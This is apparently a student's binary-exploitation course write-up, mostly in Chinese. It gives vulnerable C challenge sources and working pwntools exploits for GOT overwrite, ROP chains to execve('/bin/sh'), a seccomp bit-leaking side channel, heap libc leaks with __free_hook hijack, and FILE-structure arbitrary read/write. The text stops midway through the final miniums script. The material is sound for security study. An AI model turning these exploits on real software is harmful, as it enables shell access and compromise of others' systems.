---
# System prepended metadata

title: pwn

---

# pwn


## [LAB] got2win
```c=
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>

char flag[0x30];

int main()
{
    setvbuf(stdin, 0, _IONBF, 0);
    setvbuf(stdout, 0, _IONBF, 0);

    int fd = open("/home/chal/flag", O_RDONLY);
    read(fd, flag, 0x30);
    close(fd);
    write(1, "Good luck !\n", 13);

    unsigned long addr = 0;//4bytes
    printf("Overwrite addr: ");
    scanf("%lu", &addr);
    printf("Overwrite 8 bytes value: ");
    read(0, (void *) addr, 0x8);

    printf("Give me fake flag: ");
    int nr = read(1, flag, 0x30);
    if (nr <= 0)
        exit(1);
    flag[nr - 1] = '\0';
    printf("This is your flag: ctf{%s}... Just kidding :)\n", flag);

    return 0;
}

```

輸入一個地址再輸入8bytes覆蓋前面的地址，第十行會把 stdout 覆蓋到 flag，如果把read_got 的值覆蓋成 write_plt，read(1, flag, 0x30) 就會變成 write(1, flag, 0x30)

![](https://i.imgur.com/m577r8Q.png)

地址 0x404038 的值覆蓋成 0401030
```pyt  
from pwn import *
#p = process(['./chal'])
p = remote('edu-ctf.zoolab.org',  10004)


read_adr = 0x404038
write_val = 0x401030
p.sendlineafter('write addr: ', str(read_adr))
p.sendafter('bytes value: ', p64(write_val))
p.interactive()

```

執行後得flag

![](https://i.imgur.com/BKP6e0B.png)

## [LAB] rop2win	Pwn	50	16

```clike=
#include <stdio.h>
#include <unistd.h>
#include <seccomp.h>

char fn[0x20];
char ROP[0x100];


// fd = open("flag", 0);
// read(fd, buf, 0x30);
// write(1, buf, 0x30); // 1 --> stdout

int main()
{
    setvbuf(stdin, 0, _IONBF, 0);
    setvbuf(stdout, 0, _IONBF, 0);

    scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_KILL);
    seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0);
    seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit), 0);
    seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(open), 0);
    seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(read), 0);
    seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 0);
    seccomp_load(ctx);
    seccomp_release(ctx);

    printf("Give me filename: ");
    read(0, fn, 0x20);

    printf("Give me ROP: ");
    read(0, ROP, 0x100);

    char overflow[0x10];
    printf("Give me overflow: ");
    read(0, overflow, 0x30);

    return 0;
}
```

程式只允許 open read write exit 等 syscall，因此用rop chain構造出:

    fd = open("flag", 0);
    read(fd, buf, 0x30);
    write(1, buf, 0x30); // 1 --> stdout
    

![](https://i.imgur.com/wMmCgEv.png)

用 ropGadget 找到  instructsions 地址

![](https://i.imgur.com/iuNxh4X.png)

``` py
from pwn import *
# p = process('./chal')
p = remote('edu-ctf.zoolab.org', 10005)


context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']


ROP_address = 0x4e3360
flag = 0x4e3340
pop_rdi_ret = 0x00000000004038b3
pop_rsi_ret = 0x0000000000402428
pop_rdx_pop_rbx_ret = 0x0000000000493a2b
pop_rax_ret = 0x000000000045db87
leave_ret = 0x000000000040190c
syscall_ret = 0x00000000004284b6

ROP = flat(
    pop_rdi_ret, flag,
    pop_rsi_ret, 0,
    pop_rax_ret, 2,
    syscall_ret,

    pop_rdi_ret, 3,
    pop_rsi_ret, flag,
    pop_rdx_pop_rbx_ret, 0x90, 0xdeadbeef,
    pop_rax_ret, 0,
    syscall_ret,

    pop_rdi_ret, 1,
    pop_rsi_ret, flag,
    pop_rax_ret, 1,
    syscall_ret,
)


# gdb.attach(p,
# """
# b *main+408
# """
# )

#p.sendafter(' filename: ', b'flag\x00')
p.sendafter(' filename: ', b'/home/chal/flag\x00')
p.sendafter(' ROP: ', b'a'*8 + ROP)
p.sendafter('flow: ', b'a' * 0x20  + p64(ROP_address) + p64(leave_ret))


p.interactive()

```

'a' * 0x20 蓋掉 stack，rbp 蓋成 rop_address，return address 蓋成 leave_ret

執行後會把 stack 遷移到 ROP_address + 8 上面，隨後執行 rop chain 得 flag

![](https://i.imgur.com/AKb9CrV.png)


## [HW] how2know

```c=
#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <seccomp.h>
#include <linux/seccomp.h>
#include <sys/mman.h>
#include <stdlib.h>

static char flag[0x30];

int main()
{
    void *addr;
    int fd;
    scmp_filter_ctx ctx;

    addr = mmap(NULL, 0x1000, PROT_EXEC | PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    if ((unsigned long)addr == -1)
        perror("mmap"), exit(1);
    
    fd = open("/home/chal/flag", O_RDONLY);
    if (fd == -1)
        perror("open"), exit(1);
    read(fd, flag, 0x30);
    close(fd);

    write(1, "talk is cheap, show me the code\n", 33);
    read(0, addr, 0x1000);

    ctx = seccomp_init(SCMP_ACT_KILL);
    seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit), 0);
    seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0);
    seccomp_load(ctx);
    seccomp_release(ctx);

    
    ((void(*)())addr)();

    return 0;
}

```

程式把 /home/chal/flag 讀進flag字串後，給定一段記憶體空間可輸入任意值，之後程式設定除了exit exit_group以外的 syscall 都不能用，然後把剛才那段記憶體空間的 bytes 當作 function 來 call



```py 
import warnings
warnings.filterwarnings("ignore")
from pwn import *
context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']
    
byte = 0;
flag = ''
flag_text = ''
for byte in range(1, 0x30,8):


    for count in range(64):
        p = remote('edu-ctf.zoolab.org', 10002)
        # p = process('./chal', aslr=False)
        assembly = f'''
        mov rbx, [rsp];
        lea rbx, [rbx+0x2c64]
        mov rdi, rbx;
        lea rdi, [rdi+{hex(byte)}]
        mov rdx, [rdi];
        shr rdx, {hex(count)};
        and rdx, 1;
        test rdx, rdx;
        je break;

        loop:
        nop
        nop
        nop
        nop
        nop
        nop
        nop
        nop
        jmp loop;


        break:
        mov rax, 0;
        syscall;
        '''
        payload =asm( assembly, arch = 'amd64', os = 'linux')
        p.sendafter(' me the code\n', payload)
        print(p.recv(timeout=5))
        try:
            eof = (p.recv(timeout=5))
            close_connection = 1;
        except:
            close_connection = 0

        if close_connection:
            flag += '1'
        else:
            flag += '0'
        p.close()
        print(flag, byte, count, flag_text)
    n = int(flag[::-1], 2)
    flag_text = n.to_bytes((n.bit_length() + 7) // 8, 'little').decode()
    print(flag_text, byte)
flag = flag[::-1]
n = int(flag, 2)
flag_text = n.to_bytes((n.bit_length() + 7) // 8, 'little').decode()
print(flag_text)

#000000000110001000110010100000101110001011011110000011101001011010000110    
#000000000110001000110010100000101110001011011110000011101001011010000110
```

因為使用不合法的 syscall 程式會直接中斷，所以可以遍歷 flag 的每一個 bit判斷，若是1就call syscall程式中斷，若是0進入一個無限迴圈，每次程式執行可以得一個 bit ，最後把所有bits連起來得到 flag

![](https://i.imgur.com/cbuzRkC.png)

## [HW] rop++


```c
#include <stdio.h>
#include <unistd.h>
#include <string.h>

int main()
{
    char buf[0x10];
    const char *msg = "show me rop\n> ";

    write(1, msg, strlen(msg));
    read(0, buf, 0x200);
    
    return 0;
}
```

read有buffer overflow的漏洞可以利用，解題的關鍵在於用rop chain構造出 execve("/bin/sh",0,0)

![](https://i.imgur.com/QEMnHt0.png)

用 ropGadget 找到 rop chain 的地址

```python
import warnings
warnings.filterwarnings("ignore")
from pwn import *
context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']
p = process('./chal', aslr=False)
p = remote('edu-ctf.zoolab.org', 10003)
'''
mov rax,0x3b;
mov rdi,/bin/sh;
mov rsi,0;
mov rdx,0;
'''
binsh_address = 0x4c5000
syscall_ret = 0x0000000000414506
pop_rax_ret = 0x0000000000447b27
pop_rsi_ret = 0x000000000047d59c
pop_rdi_ret = 0x0000000000401e3f
pop_rdx_rbx_ret = 0x000000000047ed0b
ROP = flat(
    pop_rdi_ret, 0,
    pop_rsi_ret, binsh_address,
    pop_rax_ret, 0,
    pop_rdx_rbx_ret, 10, 0,
    syscall_ret,


    pop_rdi_ret, binsh_address,
    pop_rsi_ret, 0,
    pop_rax_ret, 0x3b,
    pop_rdx_rbx_ret, 0, 0,
    syscall_ret,
)
# gdb.attach(p)
p.recv()
p.sendline(b'a' * 0x10 + b'b' * 8 + ROP)
p.sendline(b"/bin/sh\x00")
p.interactive()
```

rop 先 read(0, binsh_address, 10) 輸入 b"/bin/sh" 然後 execve(binsh_address, 0, 0) 

payload 是蓋掉 buf + 蓋掉rbp 最後 return to ROP，執行 script 後get shell

![](https://i.imgur.com/o5NXpl3.png)










## [LAB] heapmath	Pwn	50	0

```cl
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <time.h>

int main()
{
    setvbuf(stdin, 0, _IONBF, 0);
    setvbuf(stdout, 0, _IONBF, 0);
    srand(time(NULL));

    void *tcache_chk[7]                = {0};
    unsigned char tcachebin[3][7]      = {0}; // 0x20, 0x30, 0x40
    unsigned int tcachebin_counts[4]   = {0};
    unsigned long tcache_size[7]       = {0};
    unsigned long tcache_free_order[7] = {0};

    puts("----------- ** tcache chall ** -----------");
    unsigned long tmp = 0;
    for (int i = 0; i < 7; i++) {
        tmp = (rand() % 0x21) + 0x10; // 0x10 ~ 0x30
        tcache_size[i] = tmp;
    }

    for (int i = 0; i < 7; i++) {
    repeat:
        tmp = rand() % 7;
        for (int j = 0; j < i; j++)
            if (tmp == tcache_free_order[j]) goto repeat;
        tcache_free_order[i] = tmp;
    }

    for (int i = 0; i < 7; i++) {
        tcache_chk[i] = malloc( tcache_size[i] );
        printf("char *%c = (char *) malloc(0x%lx);\n", 'A' + i, tcache_size[i]);
    }

    for (int i = 0; i < 7; i++) {
        int idx = tcache_free_order[i];
        free(tcache_chk[ idx ]);
        printf("free(%c);\n", 'A' + (unsigned char) idx);

        tmp = tcache_size[ idx ] - 0x8;
        if (tmp % 0x10)
            tmp = (tmp & ~0xf) + 0x20;
        else
            tmp += 0x10;

        unsigned int binidx = ((tmp - 0x20) / 0x10);
        unsigned int bincnt = tcachebin_counts[ binidx ];
        tcachebin[ binidx ][ bincnt ] = 'A' + (unsigned char) idx;
        tcachebin_counts[ binidx ]++;
    }

    char tmpbuf[0x100]   = {0};
    char ansbuf[3][0x100] = {0};
    for (int i = 0; i < 3; i++) {
        for (int j = 6; j >= 0; j--)
            if (tcachebin[i][j]) {
                sprintf(tmpbuf, "%c --> ", tcachebin[i][j]);
                strcat(ansbuf[i], tmpbuf);
            }
        strcat(ansbuf[i], "NULL");
    }
    puts("");
    for (int i = 0; i < 3; i++) {
        printf("[chunk size] 0x%x: ", (i+2) * 0x10);
        if (i == 0) {
            printf("%s\t(just send \"%s\")\n", ansbuf[i], ansbuf[i]);
        } else {
            printf("?\n> ");
            fgets(tmpbuf, 0x100, stdin);
            if (!strncmp(tmpbuf, ansbuf[i], strlen(ansbuf[i]))) {
                puts("Correct !");
            } else {
                puts("Wrong !");
                printf("Ans: \"%s\"\n", ansbuf[i]);
                exit(0);
            }
        }
    }

    puts("\n----------- ** address chall ** -----------");
    int cmp1 = 0;
    int cmp2 = 0;
    unsigned long ans_addr = 0;

    cmp1 = rand() % 7;
    while ((cmp2 = rand() % 7) == cmp1);
    if (cmp1 > cmp2) {
        tmp = cmp1;
        cmp1 = cmp2;
        cmp2 = tmp;
    }

    printf("assert( %c == %p );\n", 'A' + cmp1, tcache_chk[ cmp1 ]);
    printf("%c == ?\t(send as hex format, e.g. \"%p\")\n> ",
                'A' + cmp2, tcache_chk[ cmp1 ]);
    scanf("%s", tmpbuf);
    ans_addr = strtoul(tmpbuf, NULL, 16);

    if (ans_addr == (unsigned long)     [ cmp2 ]) {
        puts("Correct !");
    } else {
        puts("Wrong !");
        printf("Ans: %p\n", tcache_chk[ cmp2 ]);
        exit(0);
    }

    puts("\n----------- ** index chall ** -----------");
    unsigned long *fastbin[2] = {0};
    unsigned long fastbin_size = 0;
    unsigned long secret_idx = 0, result_idx = 0, res = 0;

    fastbin_size = (rand() % 0x31) + 0x40; // 0x40 ~ 0x70
    fastbin_size &= ~0xf;
    fastbin[0] = (unsigned long *) malloc( fastbin_size );
    fastbin[1] = (unsigned long *) malloc( fastbin_size );
    
    printf("unsigned long *%c = (unsigned long *) malloc(0x%lx);\n", 'X', fastbin_size);
    printf("unsigned long *%c = (unsigned long *) malloc(0x%lx);\n", 'Y', fastbin_size);

    secret_idx = rand() % (fastbin_size / 8);
    fastbin[1][ secret_idx ] = 0xdeadbeef;
    result_idx = ((unsigned long)(&fastbin[1][ secret_idx ]) - (unsigned long)(&fastbin[0][0])) / 8;
    
    printf("Y[%lu] = 0xdeadbeef;\n", secret_idx);
    printf("X[?] == 0xdeadbeef\t(just send an integer, e.g. \"8\")\n> ");
    scanf("%lu", &res);

    if (fastbin[0][res] == 0xdeadbeef) {
        puts("Correct !");
    } else {
        puts("Wrong !");
        printf("Ans: %lu\n", result_idx);
        exit(0);
    }

    puts("\n----------- ** tcache fd chall ** -----------");
    free(fastbin[0]);
    free(fastbin[1]);
    printf("free(X);\nfree(Y);\nassert( Y == %p );\n", fastbin[1]);
    printf("fd of Y == ?\t(send as hex format, e.g. \"%p\")\n> ", fastbin[1]);
    scanf("%s", tmpbuf);
    ans_addr = strtoul(tmpbuf, NULL, 16);

    if (ans_addr == *fastbin[1]) {
        puts("Correct !");
    } else {
        puts("Wrong !");
        printf("Ans: 0x%lx\n", *fastbin[1]);
        exit(0);
    }

    puts("\n----------- ** fastbin fd chall (final) ** -----------");
    puts("[*] Restore the chunk to X and Y");
    printf("%c = (unsigned long *) malloc(0x%lx);\n", 'Y', fastbin_size);
    printf("%c = (unsigned long *) malloc(0x%lx);\n", 'X', fastbin_size);
    fastbin[1] = malloc(fastbin_size);
    fastbin[0] = malloc(fastbin_size);
    printf("[*] Do something to fill up 0x%lx tcache\n...\n[*] finish\n", fastbin_size + 0x10);
    void *tmpchk[7];
    for (int i = 0; i < 7; i++)
        tmpchk[i] = malloc(fastbin_size);
    for (int i = 0; i < 7; i++)
        free(tmpchk[i]);
    printf("free(X);\nfree(Y);\nassert( Y == %p );\n", fastbin[1]);
    free(fastbin[0]);
    free(fastbin[1]);
    printf("fd of Y == ?\t(send as hex format, e.g. \"%p\")\n> ", fastbin[1]);
    scanf("%s", tmpbuf);
    ans_addr = strtoul(tmpbuf, NULL, 16);

    if (ans_addr == *fastbin[1]) {
        puts("Correct !");
        memset(tmpbuf, 0, 0x31);
        
        int fd = open("/home/heapmath/flag", O_RDONLY);
        read(fd, tmpbuf, 0x30);
        close(fd);
        printf("Here is your flag: %s\n", tmpbuf);
    } else {
        puts("Wrong !");
        printf("Ans: 0x%lx\n", *fastbin[1]);
        exit(0);
    }
}

```


![](https://i.imgur.com/l0B1oXK.png)

題目給 malloc size 計算 chunk size:
A, B, C, D, E, F, G 分別是 0x30 0x30 0x30 0x20 0x40 0x40 0x30

![](https://i.imgur.com/iF8Az8M.png)

30bytes 的 chunk 中free的順序是 free C, free B, free G, free A
因為 FILO 倒過來變 A->G->B->C->NULL

![](https://i.imgur.com/KWQQ7dc.png)
![](https://i.imgur.com/wiLS2E1.png)


40bytes 的 chunk 中free的順序是 free F, free E
因為 FILO 倒過來變 E->F->NULL

![](https://i.imgur.com/Wrsj81I.png)

D 的位置加上 D的 chunk size 等於 下一個 chunk的位置

0x55f8e35be330 + 0x20 = 0x55f8e35be350




![](https://i.imgur.com/XF8Ggl5.png)

unsigned long 長度為 8 bytes，往前一個index 則 bytes + 8

(0x40 + 0x10 (header) + 0x8 * 0x7 ) / 0x8 = 17

![](https://i.imgur.com/g26n5c8.png)

tcache fd 指向 data
0x55f8e35be450 - 0x10(heaer) - 0x40(malloc size) = 0x55f8e35be400

![](https://i.imgur.com/nh2PQ57.png)

fastbin fd 指向 header 
0x55f8e35be450 - 0x10(header) - 0x40(malloc size) -0x10(header) = 0x55f8e35be3f0

![](https://i.imgur.com/lsItvjp.png)

---



## [LAB] babynote	Pwn	50	0



![](https://i.imgur.com/XUeARGY.png)

程式執行後有4個功能，新增筆記 編輯筆記 刪除筆記 顯示筆記，編輯筆記有個overflow可以利用，刪除會有leak data可以反推libc位置


```python
from pwn import *
p = process('./chal')
#p = remote('edu-ctf.zoolab.org', 10007)
def addNote(idx, buf):
    print(p.recv())
    p.sendline(b"1")

    print(p.recv())
    p.sendline(idx)

    print(p.recv())
    p.sendline(buf)

def editNote(idx, size, buf):
    print(p.recv())
    p.sendline(b"2")

    print(p.recv())
    p.sendline(idx)

    print(p.recv())
    p.sendline(size)
    p.sendline(buf) 

def delNote(idx):
    #del
    print(p.recv())
    p.sendline(b"3")

    print(p.recv())
    p.sendline(idx)

def show():
    print('show')
    print(p.recv())
    print('show')
    p.sendline(b"4")

addNote(b'0', b'\x11' * 8)
editNote(b'0', str(0x418), b"\xaa" * 0x418)

addNote(b'1', b'\x22' * 8)
editNote(b'1',str(0x18), b"\xbb" * 0x18)

addNote(b'2', b'\x33' * 8)

delNote(b'0')
show()


a = p.recv()
a = a.split()
print(a)

data = a[2].ljust(8, b'\x00')

print(hex(u64(data)))

libc = u64(data) - 0x1ECBE0
system = libc + 0x52290
free_hook = p64(libc + 0x1eee48)
print(f"libc :{hex(libc)}     system:{hex(system)}")
#.data + 0x0000000000219c80


data = b'/bin/bash\x00'.ljust(16, b'\x00')

payload = data + b'\x00'*8 + p64(0x21) + b'c' * 16 + free_hook

p.sendline('4')
editNote(b'1', str(0x38), payload)
editNote(b'2', b'8', p64(system))

p.interactive()

```


![](https://i.imgur.com/BLc15kb.png)

- main_arena

![](https://i.imgur.com/Pc3gGhX.png)
 
- libc

新增三個note，note1的 data size 設定為 0x418，因為size大於0x410 free 掉後不會進入 tcache 而是 unsorted bin，此時的notes[0]->data 會是 unsoreted bin的 fd，而 unsorted bin 的 fd 指向main_arena + 96，因此可以推算出 libc的位址





![](https://i.imgur.com/stIDqmS.png)

![](https://i.imgur.com/5XWU9Zm.png)

找出 system 和 free_hook 跟 libc 之間的 offset


data = b'/bin/bash\x00'.ljust(0x18, b'\x00')

payload = data **(填滿 notes[1]->data)** + p64(0x21) + b'c' * 16 + free_hook **(將notes[2]->data 指向的位址改為 free_hook)**

編輯 notes[1]->data 傳入上述 payload，此時 notes[1]->data 指向 "/bin/bash"，notes[2]->data 指向 free_hook，將free_hook 的值修改成 system() 的 address，之後 call free() 的時候都會變成 call system()

最後 delete notes[1]，free(notes[1]->data) ， 變成system(notes[1]->data)，因為notes[1]->data 指向 "/bin/bash" ， system("/bin/bash") 得到 shell後 cat flag









![](https://i.imgur.com/NbAv6QZ.png)

## [HW] babyums (flag1)


![](https://i.imgur.com/kWHiPZ0.png)


程式執行後有4個功能，新增用戶 編輯data 刪除用戶 顯示用戶，編輯用戶有個overflow可以利用，刪除會有leak data可以反推libc位置


```python
from pwn import *
#p = process('./chal')

#p = remote('edu-ctf.zoolab.org', 10008)
p = process('./a.out')
context.terminal = ['tmux', 'splitw', '-h']
def add(idx, user, pwd):
    p.sendline(b'1')
    print(p.recv())
    p.sendline(idx)
    print(p.recv())
    p.sendline(user)
    print(p.recv())
    p.sendline(pwd)
    print(p.recvuntil('5. bye\n> '))

def edit(idx, size, buf):
    p.sendline(b'2')
    print(p.recv())
    p.sendline(idx)
    print(p.recv())
    p.sendline(size)
    p.sendline(buf)
    print(p.recvuntil('5. bye\n> '))

def dell(idx):
    p.sendline(b'3')
    print(p.recv())
    p.sendline(idx)
    print(p.recvuntil('5. bye\n> '))

def show():
    p.sendline(b'4')
    
print(p.recv().decode())

add(b'0', b'\xaa'*8,  b'\xaa'*8)
edit(b'0', str(0x450),  b'\xff'*0x450)

add(b'1', b'\xbb'*8,  b'\xbb'*8)
edit(b'1', b'16',  b'\xff'*16)


add(b'2', b'\xcc'*8,  b'\xcc'*8)

dell(b'0')
show()


r = p.recvuntil('5. bye\n> ').split()
print(r)
data = u64(r[2].ljust(8, b'\x00'))
libc = data - 0x1ecbe0
system = libc + 0x0000000000052290
hook = libc + 0x00000000001eee48
flag = data - 0x28FBC06C8580
print(hex(flag))

print()
print()
print()
print()
print()
print(hex(data), hex(libc), hex(hook))
#payload = b'\xbb' * 16 + p64(0) + p64(31) + p64(0xcccccccccccccccc) + p64(0x0acccccccccccccc) + p64(0xcccccccccccccccc) + p64(0x0acccccccccccccc) + p64(hook)
payload = b'/bin/bash\x00'.ljust(16, b'\x00') + p64(0) + p64(31) + p64(0xcccccccccccccccc) + p64(0x0acccccccccccccc) + p64(0xcccccccccccccccc) + p64(0x0acccccccccccccc) + p64(hook)

gdb.attach(p)
edit(b'1', str(len(payload)),  payload)
#bof

edit(b'2', b'8',  p64(system))
# gdb.attach(p)
p.interactive()

```


![](https://i.imgur.com/BLc15kb.png)

- main_arena

![](https://i.imgur.com/Pc3gGhX.png)
 
- libc

新增三個user，user1的 data size 設定為 0x418，因為size大於0x410 free 掉後不會進入 tcache 而是 unsorted bin，此時的users[0]->data 會是 unsoreted bin的 fd，而 unsorted bin 的 fd 指向main_arena + 96，因此可以推算出 libc的位址





![](https://i.imgur.com/stIDqmS.png)

![](https://i.imgur.com/5XWU9Zm.png)

找出 system 和 free_hook 跟 libc 之間的 offset


**payload** = 
b'/bin/bash\x00'.ljust(16, b'\x00')**(填滿 users[1]->data)** 
\+ p64(0) + p64(31) **(填滿 chunk header)**
\+ p64(0xcccccccccccccccc) + p64(0x0acccccccccccccc)**(填滿 username)**
\+ p64(0xcccccccccccccccc) + p64(0x0acccccccccccccc)**(填滿 password)**
\+ p64(hook) **(users[2]->data 指向的位址改為 free_hook)**

編輯 users[1]->data 傳入上述 payload，此時 users[1]->data 指向 "/bin/bash"，users[2]->data 指向 free_hook，將free_hook 的值修改成 system() 的 address，之後 call free() 的時候都會變成 call system()

最後 delete users[1]，free(users[1]->data) ， 變成system(users[1]->data)，因為users[1]->data 指向 "/bin/bash" ， system("/bin/bash") 得到 shell後 cat babums.c 得到 admin password a.k.a FLAG1





![](https://i.imgur.com/w6a7zzN.png)

## [HW] babyums (flag2)

承上 得到 shell後 cat flag

![](https://i.imgur.com/Sltf6aV.png)











##	[LAB] FILE_AAR	

```c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>

char flag[0x10] = "FLAG{TEST}\n";

int main()
{
    FILE *fp;
    char *buf;

    buf = malloc(0x10);
    fp = fopen("/tmp/meow", "w");
    read(0, buf, 0x1000);
    fwrite(buf, 0x10, 1, fp);
    return 0;
}
```

題目 read(0, buf, 0x1000)，有一overflow　可利用，可任意修改 fp ，將 fp member 改為下列數值，可 print 出 flag


fp->_flags = 0xfbad0800;

    flags 需 & ~NO_WRITES,代表可寫
    避免初始化,設置 flags CURRENTLY_PUTTING
    
fp->_IO_read_end = fp->_IO_write_base = addr;
    
    write_base 指向目標位址
    避免執行 sys_seek,設置 read_end == write_base
    
fp->_IO_write_ptr = addr + size;
    
    write_ptr 設為 write_base + 資料大小
fp->_IO_write_end = 0;

    避免複製,因此 write_end <= write_ptr

fp->_fileno = 1;


``` python
p = remote('edu-ctf.zoolab.org', 10010)
# p = process('./a.out', aslr=0)
# p = process('./chal', aslr=0)
addr = 0x555555558010
addr = 0x000000000404050

flag = 0xfbad0800
size = 70


_IO_save_base = 0x0
_IO_backup_base = 0x0
_IO_save_end = 0x0
_markers = 0x0

io_read_ptr = 0
io_read_end = addr
io_read_base = 0
io_write_base = addr
io_write_ptr = addr + size
io_write_end = 0
_IO_buf_base = 0
_IO_buf_end = 0
chain = 0x1555555105c0
file_no = 1
# gdb.attach(p, '''
# b main
# add-symbol-file aar.o
# '''
# )



payload = b'\xcc' * 0x20 +p64(flag)  + p64(io_read_ptr) + p64(io_read_end) + p64(io_read_base) + p64(io_write_base) + p64(io_write_ptr) + p64(io_write_end) + p64(_IO_buf_base) + p64(_IO_buf_end)+ p64(_IO_save_base) + p64(_IO_backup_base) + p64(_IO_save_end) + p64(_markers) + p64(chain) + p64(file_no)
p.send(payload)
p.interactive()

```


flag:
![](https://i.imgur.com/lWyBfl5.png)

##	[LAB] FILE_AAW	

```c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <fcntl.h>

char flag[0x10] = "FLAG{TEST}\n";
char owo[] = "OWO!";

int main()
{
    FILE *fp;
    char *buf;

    buf = malloc(0x10);
    fp = fopen("/tmp/meow", "r");
    read(0, buf, 0x1000);
    fread(buf, 0x10, 1, fp);

    if (strcmp(owo, "OWO!") != 0)
        write(1, flag, sizeof(flag));

    return 0;
}

```

題目的 read(0,buf,0x1000) 有一 overflow可利用，可任意修改 fp內容，將下面的關鍵fp member修改，其餘保持不變，修改後可任意寫入 buffer，將 owo 輸入任意值使其不等於 OWO! ，隨後可得 flag

fp->_flags = 0xfbad0000;

    flags 需 & ~NO_READS,代表可讀
    避免被視為 EOF,設置 flags & ~EOF_SEEN

fp->_IO_buf_base = fp->_IO_write_base = addr;
    
    buf_base 指向目標位址

fp->_IO_buf_end = (char *)addr + size;


    buf_end 設為 buf_base + 夠大的值 (至少 >= want)
    
fp->_IO_read_ptr = fp->_IO_read_end = 0;
 
     避免複製,因此 read_end == read_ptr
 
fp->_fileno = 0;
    
    由stdin 寫入

```python
from pwn import *

# p = process('./chal', aslr=0)
p = remote('edu-ctf.zoolab.org', 10009)

context.terminal = ['tmux', 'splitw', '-h']

addr = 0x00404070
size = 4



_flags = 0xfbad0000
_IO_read_ptr = 0x0
_IO_read_end = 0x0
_IO_read_base = 0x0
_IO_write_base = addr
_IO_write_ptr = 0x0
_IO_write_end = 0x0
_IO_buf_base = addr
_IO_buf_end = addr+size
_IO_save_base = 0x0
_IO_backup_base = 0x0
_IO_save_end = 0x0
_markers = 0x0
_chain = 0x1555555105c0
_fileno = 0

payload = b'\xcc' * 0x20  + p64(_flags) + p64(_IO_read_ptr) + p64(_IO_read_end) + p64(_IO_read_base) + p64(_IO_write_base) + p64(_IO_write_ptr) + p64(_IO_write_end) + p64(_IO_buf_base) + p64(_IO_buf_end) + p64(_IO_save_base) + p64(_IO_backup_base) + p64(_IO_save_end) + p64(_markers) + p64(_chain) + p64(_fileno)
p.send(payload)
p.sendline(b'aaaaaaaaaaaa')
p.interactive()

```

flag :
![](https://i.imgur.com/E7zXJwQ.png)

##	[HW] miniums	
![](https://i.imgur.com/cTpVcQY.png)

程式有四個功能 add edit del show


![](https://i.imgur.com/Hi3EdIN.png)

leak user0:

    題目的del_user 刪除user後未將其清空，若連續free user0, user1，
    兩者進入tcache，user1 的 fd會指向 user0，
    user1的fd剛好是 user1 的 name，show 之後可以leak user0 的 address

leak main_arena:

    show()會把unsorted bin清空，因此再del 一個 user2 ，
    使得 **user2->data->_IO_buf_base** 進入unsorted bin，
    (user0)+0x2700+0x10 (0x10 is chunk header)，
    這個地址指向main_arena的地址

任意讀:

![](https://i.imgur.com/2JaRl1W.png)

malloc()一個 0x1d0 的 buf 會從 tcache 中拿一個 0x1e0 的chunk，這個chunk 剛好是剛剛被 delete 的 user2->data，構造這個 fp 再利用 fwrite 讀取前面的指向的 main_arena 的指標，得知 main_arena 的地址
![](https://i.imgur.com/mOsbu6g.png)

計算libc地址:

    libc = main_arena - 0x1ECBE0
    system = libc + 0x52290
    free_hook = libc + 0x1eee48

寫free_hook:

1. editUser(user1)，size 設為 0x1d0 ，會從 tcache 中拿一個 0x1e0 的chunk，這個chunk 剛好是剛剛被 delete 的 user1->data，把寫入的地址竄改成 free_hook

2. editUser(user0)﹐寫入 system 地址，之後執行 free(user) ，都會變成 system(user)

![](https://i.imgur.com/o4twp6d.png)

system('/bin/bash'):

    新增一個user ，設置 user->name 為 /bin/bash\x00，
    因為 user->name 相對 user 的 offset 是 0
    
    free(user) => free(user->name) => free('/bin/bash') => system('/bin/bash')


 ```python
from pwn import *
import time
# p = process('./a.out', aslr=0)
# p = process('./a.out',env={"LD_PRELOAD" : "/usr/src/glibc/glibc_dbg/libc.so"}, aslr=0)
# p = process('./chal')
p = remote('edu-ctf.zoolab.org', 10011)


context.terminal = ['tmux', 'splitw', '-h']


def addUser(idx, buf):
    print('add-----------------')
    print(p.recvuntil(b'5. bye\n> ').decode('utf-8' ,'ignore'))
    p.sendline(b"1")

    print(p.recvuntil(b'index\n> ').decode('utf-8' ,'ignore'))
    p.sendline(idx)

    print(p.recvuntil(b'username\n> ').decode('utf-8' ,'ignore'))
    p.sendline(buf)
    print('add----------------- done')

def editUser(idx, size, buf):
    print('edit-----------------')
    print(p.recvuntil(b'5. bye\n> ').decode('utf-8' ,'ignore'))
    p.sendline(b"2")

    print(p.recv().decode('utf-8' ,'ignore'))
    p.sendline(idx)

    print(p.recv().decode('utf-8' ,'ignore'))
    p.sendline(size)
    p.sendline(buf) 
    print('edit----------------- done')

def delUser(idx):
    print('del-----------------')
    #del
    print(p.recvuntil(b'5. bye\n> ').decode('utf-8' ,'ignore'))
    p.sendline(b"3")

    print(p.recv().decode('utf-8' ,'ignore'))
    p.sendline(idx)
    print('del----------------- done')

def show():
    print('show-----------------')
    print(p.recvuntil(b'5. bye\n> ').decode('utf-8' ,'ignore'))
    p.sendline(b"4")
    print('show----------------- done')

# gdb.attach(p,'''
# b show_users
# c
# ''')




for i in range(3):
    addUser(str(i), b'\xaa' * 5)

# buf-base 0x1000
for i in range(3):
    editUser(str(i), b'51', 50*'\xaa')


# free user1 後 user1 在 tcache 指向下一個 chunk　user0
for i in range(2):
    delUser(str(i))


# # show 拿走 unsorted bin
# # show 得知 user0 address
